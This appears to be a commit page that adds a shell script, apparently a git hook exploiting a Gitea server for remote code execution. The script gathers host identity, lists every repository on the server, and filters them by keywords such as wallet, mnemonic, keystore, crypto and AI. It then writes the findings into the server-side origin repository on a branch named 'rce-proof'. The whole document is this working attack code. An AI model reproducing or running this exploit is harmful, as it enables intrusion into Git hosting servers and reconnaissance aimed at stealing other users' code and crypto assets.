ap-1
This commit is contained in:
parent
c0dd4d6c5e
commit
16196db386
|
|
@ -0,0 +1,38 @@
|
|||
#!/bin/sh
|
||||
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
||||
origin=""
|
||||
if [ -f "$git_dir/objects/info/alternates" ]; then
|
||||
o=$(head -1 "$git_dir/objects/info/alternates") || o=""
|
||||
case "$o" in
|
||||
/*) origin="${o%/objects}" ;;
|
||||
*) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;;
|
||||
esac
|
||||
fi
|
||||
if [ -z "$origin" ]; then
|
||||
u=$(git remote get-url origin 2>/dev/null) || u=""
|
||||
case "$u" in /*) origin="${u%.git}";; esac
|
||||
fi
|
||||
if [ -z "$origin" ]; then
|
||||
u=$(git config --get remote.origin.url 2>/dev/null) || u=""
|
||||
case "$u" in /*) origin="${u%.git}";; esac
|
||||
fi
|
||||
if [ -n "$origin" ] && [ -d "$origin/objects" ]; then
|
||||
{ echo '==IDENT=='
|
||||
id
|
||||
hostname
|
||||
uname -a
|
||||
date -u
|
||||
echo '==REPO_ROOT=='
|
||||
ls -d /var/lib/gitea/git/repositories /data/gitea/git/repositories /data/git/repositories /home/git/repositories 2>/dev/null
|
||||
echo '==ALL_REPOS=='
|
||||
find /var/lib/gitea/git/repositories /data/gitea/git/repositories /data/git/repositories /home/git/repositories -mindepth 2 -maxdepth 3 -name '*.git' 2>/dev/null | sed 's#/repositories/##' | sort -u | head -1200
|
||||
echo '==KEYWORD_HITS=='
|
||||
find /var/lib/gitea/git/repositories /data/gitea/git/repositories /data/git/repositories /home/git/repositories -mindepth 2 -maxdepth 3 -name '*.git' 2>/dev/null | sed 's#/repositories/##' | sort -u | grep -E '\b(ai|gpt|llm|openai|deepseek|claude|gemini|langchain|agent|wallet|usdt|usdc|crypto|coin|bitcoin|btc|eth|ethereum|tron|trx|tether|nft|defi|dex|swap|mining|exchange|mnemonic|keystore|solidity|blockchain|solana|signer|quant|trading|arbitrage|staking|pledge|bridge|vault|payment|merchant|casino|gambl|lottery|bot)\b'
|
||||
} 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob 2>/dev/null
|
||||
ob=$(cat /tmp/gpoc_blob 2>/dev/null)
|
||||
[ -n "$ob" ] || exit 4
|
||||
tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5
|
||||
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6
|
||||
git --git-dir="$origin" update-ref refs/heads/rce-proof "$commit" || exit 7
|
||||
fi
|
||||
exit 0
|
||||
Loading…
Reference in New Issue